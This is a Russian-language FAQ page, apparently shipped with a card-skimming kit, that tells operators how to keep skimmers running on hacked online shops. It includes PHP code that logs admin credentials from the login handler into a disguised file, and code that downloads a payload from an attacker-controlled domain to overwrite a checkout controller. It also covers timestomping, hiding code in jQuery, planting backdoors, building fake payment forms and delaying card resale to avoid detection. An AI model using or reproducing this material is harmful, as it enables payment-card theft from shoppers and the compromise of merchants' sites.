<h2>Полезные советы</h2>
<p align="justify">Этот раздел содержит очень полезную информацию по работе с шопами, поможет продлить жизнь вашим шопам, некоторые нюансы при установке снифера, примеры скриптов и многое другое. <strong>Я настоятельно рекомендую</strong> не пренебрегать этим разделом и <strong>прочитать его полностью</strong>(хоть он и довольно большой), это поможет вам сэкономить время и деньги.</p>
<h3>Не показываем форму админу шопа</h3>
<p align="justify">Первое что нужно сделать когда вы только получили шоп - установить свой код на админку и отснифать ip админа и поставить куку <strong>SESSION</strong> чтобы в дальнейшем не показывать всем у кого стоит эта кука никаких форм. Попутно можно получить данные логина к адинке и другую информацию такую как браузер, страна и т. д. по вашему желанию. Автоматический генератор JS кода снифера проверяет эту куку(<strong>SESSION</strong>) и не показывает форму если кука существует, при этом значения могут быть любыми, главное чтобы кука с таким названием была. В случае если вы используете свой код, будь то на php или js, вы можете дать ей любое название, но всегда ставьте куку админу - это продлит жизнь вашему шопу т. к. админ не будет видеть что форма подменена.</p>

<p align="justify">Вы можете слегка модефицировать php код ниже который сохраняет данные админа при входе в админ панель. этот код вставляется в файл config.php или на страницу где обрабатывается <strong>POST</strong> запрос при входе в админку</p>

<p>
<?php

highlight_string('
if($_SERVER[\'REQUEST_METHOD\']==\'POST\' and strlen($_POST[\'email\'])>1 and strlen($_POST[\'passwd\'])>1){
	$expiration_time = time() + (10 * 365 * 24 * 60 * 60);
	@setcookie("SESSION", md5(uniqid()), $expiration_time, "/"); 

	$save=fopen(\'/home/shop/domains/shop.com/public_html/modules/simpleimportproduct/my-errors.log\',\'a+\');
	fwrite($save,$_POST[\'email\'].\'|\'.$_POST[\'passwd\'].\'|\'.date(\'d.m.Y H:i\',time()).\'|\'.$_SERVER[\'REMOTE_ADDR\']."\n");
	fclose($save);
}
');

?>
</p><br />

<p align="justify">В примере выше данные сохраняются в файл <strong>my-errors.log</strong> и указан путь расположения этого файла на сервере шопа(у вас этот путь будет другим). Переменные <strong>$_POST['email']</strong> и <strong>$_POST['passwd']</strong> это переменные логина и пароля админа(у вас они могут быть другие). Ждете 1-2 дня, проверяете файл, далее не забудьте убрать снифер логина и пароля с админки и можете устанавливать снифер карт на шоп.</p>

<h3>Не можете загрузить файл на шелл?</h3>
<p align="justify">Очень часто бывает такое что права на запись есть, но файл не загружается из-за фаервола или клауда. Так же невозможно отредактировать файлы. В таком случае самое простое решение будет переименовать ваш загружаемый файл в <strong>txt</strong> формат, например <strong>config.txt</strong> если файл загрузился, то просто переименуйте его в <strong>config.php</strong> средствами вашего шелла и проблема решена. В случае если даже <strong>config.txt</strong> файл не грузится то тут уже посложнее. Зайдите в вашем шеле в раздел исполнения php кода.(В шелле который я вам дал это "Action" и по умолчанию будет выбрано исполнение php кода). </p>

<p align="justify">Вставляете такой php код:</p>

<p>
<?php

highlight_string('
$c=file_get_contents(\'http://MYDOMAIN.COM/1.txt\');
$s=fopen(\'/home/myshop/domains/myshop.com/public_html/modules/supercheckout/controllers/front/supercheckout.php\',\'w+\');
fwrite($s,$c); fclose($s);
');

?>
</p><br />

<p><img src="./inc/ajax/faq/images/php.jpg"></p>

<p>Где:</p>

<p><i>http://MYDOMAIN.COM/1.txt</i></p>

<p align="justify">это ссылка с содержимым вашего файла. Вы этот файл можете загрузить на шелл где проблем с загрузкой нет или на ваш сервер. Обратите внимание что формат файла должен быть <strong>txt</strong> чтобы было видно именно содержимое файла и он не исполнялся на сервере.</p>

<p><i>/home/myshop/domains/myshop.com/public_html/modules/supercheckout/controllers/front/supercheckout.php</i></p>

<p align="justify">Это путь к файлу на сервере шопа который вы хотите изменить. В данном примере я использовал старую функцию <strong>file_get_contents</strong> которая может получать данные по <strong>http</strong> Если у вас второй сервер с сертификатом(с https) то используйте <strong>cURL:</strong></p>

<p>
<?php

highlight_string('
$ch = curl_init(\'https://MYDOMAIN.COM/1.txt\');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$c = curl_exec($ch);
curl_close($ch);

$s=fopen(\'/home/myshop/domains/myshop.com/public_html/modules/supercheckout/controllers/front/supercheckout.php\',\'w+\');
fwrite($s,$c); fclose($s);
');

?>
</p><br />


<p align="justify">Если вы все сделаете правильно, то файл <strong>supercheckout.php</strong> успешно заменится на то что будет открываться по:</p>

<p><i>http://MYDOMAIN.COM/1.txt</i></p>

<h3>Всегда меняем дату файлов</h3>

<p align="justify">Чтобы шоп жил долго всегда меняйте дату файлов, которые вы редактировали, а так же дату изменения папок. Когда админ узнает что на их сайте исполняется какой - то левый код - админы в первую очередь смотрят папки и файлы в них по дате последнего изменения, согласитесь, это очень палевно когда все папки созданы 2022 года и есть одна папка 2025 и в ней файлы все так же все 2022 года, а один 2025, естественно админ пойдет смотреть этот файл и что в нем изменено, сравнивать с оригиналом и т. д. Естественно дата включает в себя не только год, но и месяц/день, минуты и даже секунды в некоторых случаях. Так что перед загрузкой файлов посмотрите дату папки в которую вы хотите загрузить файл, сохраните ее и после загрузки файла измените дату последнего редактирования обратно как было. Дату загруженого/редактируемого файла можно поставить как у соседнего файла</p>

<p align="justify">Совет хороший конечно, но как это сделать? Не волнуйтесь, я об этом уже позаботился для вас, в шелле который я вам дал это делается в 2 клика:</p><br />

<p><img src="./inc/ajax/faq/images/set_date.jpg"></p>

<p align="justify">просто скопируйте дату соседнего файла или составьте ее в таком же формате как она отображается напротив каждого файла, выберите "Set Date", нажмите "Apply" и дата файла измениться.</p>

<h3>Код удалили, но остался доступ?</h3>

<p align="justify">Если ваш код спалили, то не стоит загружать тот же самый файл что вы редактировали в то же самое место, попробуйте спрятать в другом месте, или же измените подход, например если ваш код был внедрен в php файл, то можно попробовать в следующий раз через js это сделать. Естественно подождите пару недель чтобы админ подумал что снеся код он все исправил и он молодец. Скорее всего после обнаружения шоп проживет не долго уже, но еще пару недель а то и месяц можно будет попользоваться. Особенно если вы хорошо спрячете ваш код в следующий раз(можно к примеру в середину файла jquery засунуть свой код, такое трудно будет найти).</p>

<h3>Нормальное имя файлов</h3>

<p align="justify">Банально но этим многие пренебрегают - называйте свои шеллы/загружаемые файлы нормально, исходя из папки в которую он был загружен(если в папке есть файлы типа <strong>SQLconnect.php</strong>, <strong>sql-config.php</strong> и т. д. то можно создать файл, который не будет выделяться на их фоне, например <strong>sql-validate.php</strong>), так же прогружайте несколько шеллов и отредактируйте файлы самого движка с внедрением бекдора чтобы если ваши шеллы обнаружат и удалят залить новые, делайте карту всех директории сайта и сохраняйте где - то у себя чтобы потом через бекдор знать куда можно прогружаться.</p>

<h3>Поиск шеллов соседей</h3>

<p align="justify">Как я описывал в совете с изменением даты админы смотрят даты изменения файлов и директорий. Вы сами можете администрировать свой шелл и побыть админов чтобы избавить себя от соседей или нечестных продавцов шеллов, продавцы шеллов не блещут умом и не заморачиваются с датами, вы можете смотреть какие папки были изменены недавно, просматривать файлы, которые недавно были отредактированы/созданы и избавится от шеллов/чужих форм и т.д. для простоты можно написать php скрипт, который (если это возможно) будет выводить все файлы/папки по дате создания/редактирования. Так же можно просканировать все файлы, скажем php на предмет наличия функции <strong>eval()</strong> и просмотреть файлы, которые будут найдены(обычно шеллы любят использовать эту функцию включая различные крипты). Подобные скрипты вы найдете в папке "полезные скрипты" которые прилагаются к сниферу. Их можно исполнять в разделе "Actions" в шелле(который идет в комплекте с сниффером), как я описывал в совете по загрузке файлов.</p>

<h3>Как узнать что уже установлен другой снифер?</h3>

<p align="justify">В принципе довольно просто. Открываем страницу где форма оплаты, заполняем платежные данные(Не обьязательно свою карту вводить, можно вымышленную или сгенерированную онлайн генераторами) и открываем консоль разработчика(желательно использовать TOR браузер). После этого кликаем оплатить и смотрим сначала саму консоль. Если обнаружите что - то подобное:</p>

<p><img src="./inc/ajax/faq/images/socket.jpg"></p>

<p align="justify">Значит чужой снифер стоит.</p>

<p align="justify">Если там нет отправки через сокет, то заходим в вкладку сеть или network и смотрим там подозрительную активность(зачастую там будут прогружаться всякие JS/CSS/картинки, но нас же интересуют POST/GET запросы к страницам, поэтому проверяйте только их). Если и там все чисто значит чужого снифера нет и шоп чистый(по крайней мере JS снифера нет. Если форма у шопа нативная(что бывает крайне редко), то нужно проверять файлы сервера на предмет php кода снифера. Это уже намного сложнее и требует хороших навыков программирования на php). Если при открытии консоли разработчика браузер начинает тормозить/закрывается или перестают работать кнопки оплаты/валидация данных или же просто редиректит на какой - то нейтральный сайт - это значит что код установлен и стоит блокировка просмотра консоли разработчика.</p>

<h3>Делайте нормальные формы оплаты</h3>

<p align="justify">Самое важное чтобы форма вашего снифера визуально не отличалась от той что стоит на сайте и я говорю не только про саму форму, учитывайте так же ее поведение когда пользователь например вводит данные не правильно(я имею ввиду валидацию заполняемых данных). Самому делать формы долго и требует знаний html/css/js иногда php, поэтому чтобы упростить процес вы можете заказать создание формы у людей, которые специализируются на этом(на том же експе есть сервисы по созданию таких форм). На данный момент я не занимаюсь созданием таких форм(возможно в будущем буду). Чтобы программист мог правильно сделать вам форму, и валидатор к ней вы должны ему сообщить нюансы генератора(если вы пользуетесь автоматическим генератором). Вы можете просто скопировать тот раздел FAQ где они описаны(Раздел FAQ -> генератор JS -> Iframe форма) и передать это вашему кодеру.</p>
<p align="justify">Еще хочу отметить что даже если у вашего шопа редирект на сторонний платежный шлюз - все равно делайте все красиво. Если пользователь увидит кривую форму где вместо цифр карты можно вводить что угодно - это сразу вызовет подозрения. В автоматическом генераторе есть стандартная форма с валидацией где все работает отлично. Вы можете пользоваться ею если она не сильно выделяется по дизайну шопа.</p>

<h3>Несколько полезных ссылок</h3>

<p align="justify">На этих сайтах вы можете сгенерировать личность с именем, адресом, телефоном и данными карты:</p>

<p>
<?php

highlight_string('
https://www.fakenamegenerator.com/
https://www.fakexy.com/
');

?>
</p><br />

<p align="justify">А на этих сайтах вы можете обфусцировать ваш php код:</p>

<p>
<?php

highlight_string('
http://wb0.ru/phpobf.php
https://www.php-obfuscator.com/?lang=english&demo
');

?>
</p>

<h3>Напоследок...</h3>

<p align="justify">Пожалуй самый ценный совет который я могу вам дать и возможно который вы не знали - не продавайте карты на следующий день, продавайте те, которым месяц и более, это продлит время жизни ваших шопов. т. к. за месяц юзер забудет где и даже что он покупал и соответственно жалоб не будет и при таком подходе некоторые ваши шопы могут жить даже годами! Если не будет жалоб, то и админы не будут ничего смотреть.</p>